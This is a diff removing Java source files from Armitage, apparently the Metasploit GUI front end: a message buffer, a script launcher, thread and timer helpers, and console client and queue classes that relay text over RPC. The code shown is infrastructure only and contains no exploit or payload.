|
||||||
first = m;
|
|
||||||
last = m;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
last.next = m;
|
|
||||||
last = m;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* increment number of stored messages */
|
|
||||||
size += 1;
|
|
||||||
|
|
||||||
/* limit the total number of past messages to the max size */
|
|
||||||
if (size > max) {
|
|
||||||
first = first.next;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* retrieve a set of all clients consuming this buffer */
|
|
||||||
public Collection clients() {
|
|
||||||
synchronized (this) {
|
|
||||||
LinkedList clients = new LinkedList(indices.keySet());
|
|
||||||
return clients;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* free a client */
|
|
||||||
public void free(String id) {
|
|
||||||
synchronized (this) {
|
|
||||||
indices.remove(id);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* reset our indices too */
|
|
||||||
public void reset() {
|
|
||||||
synchronized (this) {
|
|
||||||
first = null;
|
|
||||||
last = null;
|
|
||||||
indices.clear();
|
|
||||||
size = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* retrieve all messages available to the client (if any) */
|
|
||||||
public String get(String id) {
|
|
||||||
synchronized (this) {
|
|
||||||
/* nadaz */
|
|
||||||
if (first == null)
|
|
||||||
return "";
|
|
||||||
|
|
||||||
/* get our index into the buffer */
|
|
||||||
Message index = null;
|
|
||||||
if (!indices.containsKey(id)) {
|
|
||||||
index = first;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
index = (Message)indices.get(id);
|
|
||||||
|
|
||||||
/* nothing happening */
|
|
||||||
if (index.next == null)
|
|
||||||
return "";
|
|
||||||
|
|
||||||
index = index.next;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* now let's walk through it */
|
|
||||||
StringBuffer result = new StringBuffer();
|
|
||||||
Message temp = index;
|
|
||||||
while (temp != null) {
|
|
||||||
result.append(temp.message);
|
|
||||||
index = temp;
|
|
||||||
temp = temp.next;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* store our index */
|
|
||||||
indices.put(id, index);
|
|
||||||
|
|
||||||
return result.toString();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String toString() {
|
|
||||||
return "[" + size + " messages]";
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,175 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import sleep.runtime.*;
|
|
||||||
import sleep.interfaces.*;
|
|
||||||
import sleep.console.*;
|
|
||||||
import sleep.bridges.*;
|
|
||||||
import sleep.error.*;
|
|
||||||
import sleep.engine.*;
|
|
||||||
import sleep.parser.ParserConfig;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
import java.io.*;
|
|
||||||
|
|
||||||
import cortana.core.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* This class launches Armitage and loads the scripts that are part of it.
|
|
||||||
*/
|
|
||||||
public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
|
|
||||||
public void processScriptWarning(ScriptWarning warning) {
|
|
||||||
System.out.println(warning);
|
|
||||||
}
|
|
||||||
|
|
||||||
public Scalar evaluate(String name, ScriptInstance script, Stack args) {
|
|
||||||
if (name.equals("&_args")) {
|
|
||||||
ScalarArray a = BridgeUtilities.getArray(args);
|
|
||||||
Stack temp = new Stack();
|
|
||||||
Iterator i = a.scalarIterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
temp.add(0, i.next());
|
|
||||||
}
|
|
||||||
|
|
||||||
return SleepUtils.getScalar(temp);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
try {
|
|
||||||
String file = BridgeUtilities.getString(args, "");
|
|
||||||
if (new File(file).exists()) {
|
|
||||||
InputStream i = new FileInputStream(file);
|
|
||||||
return SleepUtils.getScalar(i);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
|
|
||||||
return SleepUtils.getScalar(i);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
throw new RuntimeException(ex.getMessage());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected ScriptVariables variables = new ScriptVariables();
|
|
||||||
|
|
||||||
public void scriptLoaded(ScriptInstance script) {
|
|
||||||
script.addWarningWatcher(this);
|
|
||||||
script.setScriptVariables(variables);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void scriptUnloaded(ScriptInstance script) {
|
|
||||||
}
|
|
||||||
|
|
||||||
protected String[] getGUIScripts() {
|
|
||||||
return new String[] {
|
|
||||||
"scripts/log.sl",
|
|
||||||
"scripts/reporting.sl",
|
|
||||||
"scripts/gui.sl",
|
|
||||||
"scripts/util.sl",
|
|
||||||
"scripts/targets.sl",
|
|
||||||
"scripts/attacks.sl",
|
|
||||||
"scripts/meterpreter.sl",
|
|
||||||
"scripts/process.sl",
|
|
||||||
"scripts/browser.sl",
|
|
||||||
"scripts/pivots.sl",
|
|
||||||
"scripts/services.sl",
|
|
||||||
"scripts/scripts.sl",
|
|
||||||
"scripts/loot.sl",
|
|
||||||
"scripts/tokens.sl",
|
|
||||||
"scripts/downloads.sl",
|
|
||||||
"scripts/shell.sl",
|
|
||||||
"scripts/screenshot.sl",
|
|
||||||
"scripts/hosts.sl",
|
|
||||||
"scripts/passhash.sl",
|
|
||||||
"scripts/jobs.sl",
|
|
||||||
"scripts/preferences.sl",
|
|
||||||
"scripts/modules.sl",
|
|
||||||
"scripts/workspaces.sl",
|
|
||||||
"scripts/menus.sl",
|
|
||||||
"scripts/collaborate.sl",
|
|
||||||
"scripts/armitage.sl"
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
protected String[] getServerScripts() {
|
|
||||||
return new String[] {
|
|
||||||
"scripts/util.sl",
|
|
||||||
"scripts/preferences.sl",
|
|
||||||
"scripts/reporting.sl",
|
|
||||||
"scripts/server.sl"
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) {
|
|
||||||
/* tweak the parser to recognize a few useful escapes */
|
|
||||||
ParserConfig.installEscapeConstant('c', console.Colors.color + "");
|
|
||||||
ParserConfig.installEscapeConstant('U', console.Colors.underline + "");
|
|
||||||
ParserConfig.installEscapeConstant('o', console.Colors.cancel + "");
|
|
||||||
|
|
||||||
/* setup a function or two */
|
|
||||||
Hashtable environment = new Hashtable();
|
|
||||||
environment.put("&resource", this);
|
|
||||||
environment.put("&_args", this);
|
|
||||||
|
|
||||||
/* set our command line arguments into a var */
|
|
||||||
variables.putScalar("@ARGV", ObjectUtilities.BuildScalar(false, args));
|
|
||||||
|
|
||||||
ScriptLoader loader = new ScriptLoader();
|
|
||||||
loader.addSpecificBridge(this);
|
|
||||||
|
|
||||||
/* setup Cortana event and filter bridges... we will install these into
|
|
||||||
Armitage */
|
|
||||||
if (!serverMode) {
|
|
||||||
EventManager events = new EventManager();
|
|
||||||
FilterManager filters = new FilterManager();
|
|
||||||
|
|
||||||
variables.putScalar("$__events__", SleepUtils.getScalar(events));
|
|
||||||
variables.putScalar("$__filters__", SleepUtils.getScalar(filters));
|
|
||||||
variables.putScalar("$__frame__", SleepUtils.getScalar(window));
|
|
||||||
|
|
||||||
loader.addGlobalBridge(events.getBridge());
|
|
||||||
loader.addGlobalBridge(filters.getBridge());
|
|
||||||
}
|
|
||||||
|
|
||||||
/* load the appropriate scripts */
|
|
||||||
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
|
|
||||||
int x = -1;
|
|
||||||
try {
|
|
||||||
for (x = 0; x < scripts.length; x++) {
|
|
||||||
InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]);
|
|
||||||
ScriptInstance si = loader.loadScript(scripts[x], i, environment);
|
|
||||||
si.runScript();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (YourCodeSucksException yex) {
|
|
||||||
System.out.println("*** File: " + scripts[x]);
|
|
||||||
yex.printErrors(System.out);
|
|
||||||
}
|
|
||||||
catch (IOException ex) {
|
|
||||||
System.err.println(ex);
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void main(String args[]) {
|
|
||||||
/* check for server mode option */
|
|
||||||
boolean serverMode = false;
|
|
||||||
|
|
||||||
int x = 0;
|
|
||||||
for (x = 0; x < args.length; x++) {
|
|
||||||
if (args[x].equals("--server"))
|
|
||||||
serverMode = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* setup our armitage instance */
|
|
||||||
if (serverMode) {
|
|
||||||
new ArmitageMain(args, null, serverMode);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
MultiFrame.setupLookAndFeel();
|
|
||||||
MultiFrame frame = new MultiFrame();
|
|
||||||
new ArmitageMain(args, frame, serverMode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,36 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/** A generic class to execute several queries and return their results */
|
|
||||||
public class ArmitageThread implements Runnable {
|
|
||||||
protected ArmitageThreadClient client;
|
|
||||||
|
|
||||||
public ArmitageThread(ArmitageThreadClient c) {
|
|
||||||
this.client = c;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void start() {
|
|
||||||
new Thread(this).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void run() {
|
|
||||||
while (true) {
|
|
||||||
long sleepFor = client.execute();
|
|
||||||
|
|
||||||
if (sleepFor <= 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
try {
|
|
||||||
Thread.sleep(sleepFor);
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,8 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
public interface ArmitageThreadClient {
|
|
||||||
/** return -1 to stop the thread, return >=0 value to have the thread call this client again */
|
|
||||||
public long execute();
|
|
||||||
}
|
|
|
@ -1,111 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/** A generic class to execute several queries and return their results */
|
|
||||||
public class ArmitageTimer implements Runnable {
|
|
||||||
protected RpcConnection connection;
|
|
||||||
protected String command;
|
|
||||||
protected long sleepPeriod;
|
|
||||||
protected ArmitageTimerClient client;
|
|
||||||
protected boolean cacheProtocol;
|
|
||||||
|
|
||||||
/* keep track of the last response we got *and* its hashcode... */
|
|
||||||
protected Map lastRead = new HashMap();
|
|
||||||
protected long lastCode = -1L; /* can't be 0 or we'll never fire an initial event */
|
|
||||||
|
|
||||||
public ArmitageTimer(RpcConnection connection, String command, long sleepPeriod, ArmitageTimerClient client, boolean doCache) {
|
|
||||||
this.connection = connection;
|
|
||||||
this.command = command;
|
|
||||||
this.sleepPeriod = sleepPeriod;
|
|
||||||
this.client = client;
|
|
||||||
cacheProtocol = doCache;
|
|
||||||
new Thread(this).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static long dataIdentity(Object v) {
|
|
||||||
long r = 0L;
|
|
||||||
|
|
||||||
if (v == null) {
|
|
||||||
return 1L;
|
|
||||||
}
|
|
||||||
else if (v instanceof Collection) {
|
|
||||||
Iterator j = ((Collection)v).iterator();
|
|
||||||
while (j.hasNext()) {
|
|
||||||
r += 11 * dataIdentity(j.next());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if (v instanceof Map) {
|
|
||||||
Iterator i = ((Map)v).values().iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
r += 13 * dataIdentity(i.next());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if (v instanceof Number) {
|
|
||||||
return v.hashCode();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return v.toString().hashCode();
|
|
||||||
}
|
|
||||||
return r;
|
|
||||||
}
|
|
||||||
|
|
||||||
protected boolean changed = false;
|
|
||||||
|
|
||||||
/* we will override this in a subclass if we need to change it */
|
|
||||||
protected boolean alwaysFire() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
private Map readFromClient() throws java.io.IOException {
|
|
||||||
Object arguments[];
|
|
||||||
if (cacheProtocol) {
|
|
||||||
arguments = new Object[1];
|
|
||||||
arguments[0] = new Long(lastCode);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
arguments = new Object[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
Map result = (Map)connection.execute(command, arguments);
|
|
||||||
|
|
||||||
if (!result.containsKey("nochange")) {
|
|
||||||
lastRead = result;
|
|
||||||
lastCode = dataIdentity(result);
|
|
||||||
changed = true;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
//System.err.println("No change: " + command + ", " + lastCode);
|
|
||||||
changed = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return lastRead;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void run() {
|
|
||||||
Map read = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
while ((read = readFromClient()) != null) {
|
|
||||||
if (changed || command.equals("session.list") || alwaysFire()) {
|
|
||||||
if (client.result(command, null, read) == false) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (sleepPeriod <= 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
Thread.sleep(sleepPeriod);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception javaSucksBecauseItMakesMeCatchEverythingFuckingThing) {
|
|
||||||
System.err.println("Thread id: " + command + " -> " + read);
|
|
||||||
javaSucksBecauseItMakesMeCatchEverythingFuckingThing.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,10 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/** A client for the ArmitageTimer class. It's easier to have a Java class handle all this vs. using Sleep's fork mechanism. This way we get thread safety
|
|
||||||
for any Sleep data structures by default. */
|
|
||||||
public interface ArmitageTimerClient {
|
|
||||||
/** return true if you want the timer to continue running. The arguments are the command, arguments, and the result of them. */
|
|
||||||
public boolean result(String command, Object[] arguments, Map result);
|
|
||||||
}
|
|
|
@ -1,6 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
public interface ConsoleCallback {
|
|
||||||
public void sessionRead(String sessionid, String text);
|
|
||||||
public void sessionWrote(String sessionid, String text);
|
|
||||||
}
|
|
|
@ -1,260 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
import java.util.regex.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
|
||||||
simpler than this Java code. *sigh* */
|
|
||||||
public class ConsoleClient implements Runnable, ActionListener {
|
|
||||||
protected RpcConnection connection;
|
|
||||||
protected Console window;
|
|
||||||
protected String readCommand;
|
|
||||||
protected String writeCommand;
|
|
||||||
protected String destroyCommand;
|
|
||||||
protected String session;
|
|
||||||
protected LinkedList listeners = new LinkedList();
|
|
||||||
protected boolean echo = true;
|
|
||||||
protected boolean go_read = true;
|
|
||||||
protected ActionListener sessionListener = null; /* one off listener to catch "sessions -i ##" */
|
|
||||||
|
|
||||||
public void setSessionListener(ActionListener l) {
|
|
||||||
sessionListener = l;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void kill() {
|
|
||||||
synchronized (listeners) {
|
|
||||||
go_read = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public Console getWindow() {
|
|
||||||
return window;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setEcho(boolean b) {
|
|
||||||
echo = b;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setWindow(Console console) {
|
|
||||||
synchronized (this) {
|
|
||||||
window = console;
|
|
||||||
setupListener();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addSessionListener(ConsoleCallback l) {
|
|
||||||
listeners.add(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void fireSessionReadEvent(String text) {
|
|
||||||
Iterator i = listeners.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
((ConsoleCallback)i.next()).sessionRead(session, text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void fireSessionWroteEvent(String text) {
|
|
||||||
Iterator i = listeners.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
((ConsoleCallback)i.next()).sessionWrote(session, text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public ConsoleClient(Console window, RpcConnection connection, String readCommand, String writeCommand, String destroyCommand, String session, boolean swallow) {
|
|
||||||
this.window = window;
|
|
||||||
this.connection = connection;
|
|
||||||
this.readCommand = readCommand;
|
|
||||||
this.writeCommand = writeCommand;
|
|
||||||
this.destroyCommand = destroyCommand;
|
|
||||||
this.session = session;
|
|
||||||
|
|
||||||
setupListener();
|
|
||||||
|
|
||||||
if (swallow) {
|
|
||||||
try {
|
|
||||||
readResponse();
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
System.err.println(ex);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
new Thread(this).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/* call this if the console client is referencing a metasploit console with tab completion */
|
|
||||||
public void setMetasploitConsole() {
|
|
||||||
window.addActionForKey("ctrl pressed Z", new AbstractAction() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
sendString("background\n");
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
new TabCompletion(window, connection, session, "console.tabs");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* called when the associated tab is closed */
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
if (destroyCommand != null) {
|
|
||||||
((RpcAsync)connection).execute_async(destroyCommand, new Object[] { session });
|
|
||||||
}
|
|
||||||
|
|
||||||
/* we don't need to keep reading from this console */
|
|
||||||
kill();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void finalize() {
|
|
||||||
actionPerformed(null);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static final Pattern interact = Pattern.compile("sessions -i (\\d+)\n");
|
|
||||||
|
|
||||||
public void _sendString(String text) {
|
|
||||||
if (writeCommand == null)
|
|
||||||
return;
|
|
||||||
|
|
||||||
/* intercept sessions -i and deliver it to a listener within armitage */
|
|
||||||
if (sessionListener != null) {
|
|
||||||
Matcher m = interact.matcher(text);
|
|
||||||
if (m.matches()) {
|
|
||||||
sessionListener.actionPerformed(new ActionEvent(this, 0, m.group(1)));
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Map read = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
synchronized (this) {
|
|
||||||
if (window != null && echo) {
|
|
||||||
window.append(window.getPromptText() + text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if ("armitage.push".equals(writeCommand)) {
|
|
||||||
read = (Map)connection.execute(writeCommand, new Object[] { session, text });
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
connection.execute(writeCommand, new Object[] { session, text });
|
|
||||||
read = readResponse();
|
|
||||||
}
|
|
||||||
processRead(read);
|
|
||||||
|
|
||||||
fireSessionWroteEvent(text);
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void setupListener() {
|
|
||||||
synchronized (this) {
|
|
||||||
if (window != null) {
|
|
||||||
window.getInput().addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
final String text = window.getInput().getText() + "\n";
|
|
||||||
window.getInput().setText("");
|
|
||||||
sendString(text);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String cleanText(String text) {
|
|
||||||
StringBuffer string = new StringBuffer(text.length());
|
|
||||||
char chars[] = text.toCharArray();
|
|
||||||
for (int x = 0; x < chars.length; x++) {
|
|
||||||
if (chars[x] != 1 && chars[x] != 2)
|
|
||||||
string.append(chars[x]);
|
|
||||||
}
|
|
||||||
|
|
||||||
return string.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private Map readResponse() throws Exception {
|
|
||||||
return (Map)(connection.execute(readCommand, new Object[] { session }));
|
|
||||||
}
|
|
||||||
|
|
||||||
private long lastRead = 0L;
|
|
||||||
|
|
||||||
private void processRead(Map read) throws Exception {
|
|
||||||
if (! "".equals( read.get("data") )) {
|
|
||||||
String text = read.get("data") + "";
|
|
||||||
|
|
||||||
synchronized (this) {
|
|
||||||
if (window != null)
|
|
||||||
window.append(text);
|
|
||||||
}
|
|
||||||
fireSessionReadEvent(text);
|
|
||||||
lastRead = System.currentTimeMillis();
|
|
||||||
}
|
|
||||||
|
|
||||||
synchronized (this) {
|
|
||||||
if (! "".equals( read.get("prompt") ) && window != null) {
|
|
||||||
window.updatePrompt(cleanText(read.get("prompt") + ""));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected LinkedList commands = new LinkedList();
|
|
||||||
|
|
||||||
public void sendString(String text) {
|
|
||||||
synchronized (listeners) {
|
|
||||||
commands.add(text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void run() {
|
|
||||||
Map read;
|
|
||||||
boolean shouldRead = go_read;
|
|
||||||
String command = null;
|
|
||||||
long last = 0;
|
|
||||||
|
|
||||||
try {
|
|
||||||
while (shouldRead) {
|
|
||||||
synchronized (listeners) {
|
|
||||||
if (commands.size() > 0) {
|
|
||||||
command = (String)commands.removeFirst();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (command != null) {
|
|
||||||
_sendString(command);
|
|
||||||
command = null;
|
|
||||||
lastRead = System.currentTimeMillis();
|
|
||||||
}
|
|
||||||
|
|
||||||
long now = System.currentTimeMillis();
|
|
||||||
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
|
|
||||||
/* check if our window is not showing... if not, then we're going to switch to a very reduced
|
|
||||||
read schedule. */
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
read = readResponse();
|
|
||||||
if (read == null || "failure".equals( read.get("result") + "" )) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
processRead(read);
|
|
||||||
last = System.currentTimeMillis();
|
|
||||||
}
|
|
||||||
|
|
||||||
Thread.sleep(100);
|
|
||||||
|
|
||||||
synchronized (listeners) {
|
|
||||||
shouldRead = go_read;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception javaSucksBecauseItMakesMeCatchEverythingFuckingThing) {
|
|
||||||
javaSucksBecauseItMakesMeCatchEverythingFuckingThing.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,339 +0,0 @@
|
||||||
package armitage;
|
|
||||||
|
|
||||||
import console.*;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import java.math.*;
|
|
||||||
import java.security.*;
|
|
||||||
|
|
||||||
/* Implements a class for writing commands to a console and firing an event when the command is successfully executed
|
|
||||||
(with its output). My hope is that this will replace the CommandClient class which likes to execute stuff out of order */
|
|
||||||
public class ConsoleQueue implements Runnable {
|
|
||||||
protected RpcConnection connection;
|
|
||||||
protected LinkedList listeners = new LinkedList();
|
|
||||||
protected LinkedList listeners_all = new LinkedList();
|
|
||||||
protected LinkedList commands = new LinkedList();
|
|
||||||
protected String consoleid = null;
|
|
||||||
protected Console display = null;
|
|
||||||
|
|
||||||
private static class Command {
|
|
||||||
public Object token = null;
|
|
||||||
public String text = null;
|
|
||||||
public Map assign = null;
|
|
||||||
public long start = System.currentTimeMillis();
|
|
||||||
}
|
|
||||||
|
|
||||||
public Console getWindow() {
|
|
||||||
return display;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static interface ConsoleCallback {
|
|
||||||
public void commandComplete(ConsoleQueue queue, Object token, String response);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* I'm not necessarily trying to bloat this class, but this method will let me get rid of another class */
|
|
||||||
public java.util.List tabComplete(String pcommand) {
|
|
||||||
try {
|
|
||||||
Map read = (Map)connection.execute("console.tabs", new Object[] { consoleid, pcommand });
|
|
||||||
if (read.containsKey("tabs")) {
|
|
||||||
return (java.util.List)read.get("tabs");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
return new LinkedList();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addListener(ConsoleCallback l) {
|
|
||||||
listeners.add(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addSessionListener(ConsoleCallback l) {
|
|
||||||
listeners_all.add(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setDisplay(final Console display) {
|
|
||||||
this.display = display;
|
|
||||||
display.getInput().addActionListener(new ActionListener() {
|
|
||||||
public void actionPerformed(ActionEvent ev) {
|
|
||||||
display.getInput().setText("");
|
|
||||||
addCommand(null, ev.getActionCommand());
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
public void fireSessionReadEvent(String text) {
|
|
||||||
Iterator i = listeners_all.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
((ConsoleCallback)i.next()).commandComplete(this, null, text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void fireEvent(Command command, String output) {
|
|
||||||
if (command.token == null)
|
|
||||||
return;
|
|
||||||
|
|
||||||
Iterator i = listeners.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
((ConsoleCallback)i.next()).commandComplete(this, command != null ? command.token : null, output);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public ConsoleQueue(RpcConnection connection) {
|
|
||||||
this.connection = connection;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean isEmptyData(String data) {
|
|
||||||
return "".equals(data) || "null".equals(data);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void processCommand(Command c) {
|
|
||||||
if (c.assign == null) {
|
|
||||||
processNormalCommand(c);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
processAssignCommand(c);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected void processAssignCommand(Command c) {
|
|
||||||
try {
|
|
||||||
/* absorb anything misc */
|
|
||||||
Map read = readResponse();
|
|
||||||
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
|
|
||||||
|
|
||||||
StringBuffer writeme = new StringBuffer();
|
|
||||||
Set expected = new HashSet();
|
|
||||||
|
|
||||||
/* loop through our values to assign */
|
|
||||||
Iterator i = c.assign.entrySet().iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
Map.Entry entry = (Map.Entry)i.next();
|
|
||||||
String key = entry.getKey() + "";
|
|
||||||
String value = entry.getValue() + "";
|
|
||||||
writeme.append("set " + key + " " + value + "\n");
|
|
||||||
expected.add(key);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* write our command to whateverz */
|
|
||||||
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
|
|
||||||
|
|
||||||
long start = System.currentTimeMillis();
|
|
||||||
|
|
||||||
/* process through all of our values */
|
|
||||||
while (expected.size() > 0) {
|
|
||||||
Thread.yield();
|
|
||||||
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
|
|
||||||
if (!isEmptyData(temp.get("data") + "")) {
|
|
||||||
String[] lines = (temp.get("data") + "").split("\n");
|
|
||||||
for (int x = 0; x < lines.length; x++) {
|
|
||||||
if (lines[x].indexOf(" => ") != -1) {
|
|
||||||
String[] kv = lines[x].split(" => ");
|
|
||||||
|
|
||||||
/* remove any set variables from our set of stuff */
|
|
||||||
expected.remove(kv[0]);
|
|
||||||
|
|
||||||
if (display != null) {
|
|
||||||
display.append(prompt + "set " + kv[0] + " " + kv[1] + "\n");
|
|
||||||
display.append(lines[x] + "\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if (display != null) {
|
|
||||||
display.append(lines[x] + "\n");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
System.err.println("Batch read unexpected: " + lines[x]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ((System.currentTimeMillis() - start) > 10000) {
|
|
||||||
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't trigger--unless I mess up :) */
|
|
||||||
System.err.println("Timed out: " + c.assign + " vs. " + expected);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
System.err.println(consoleid + " -> " + c.text);
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
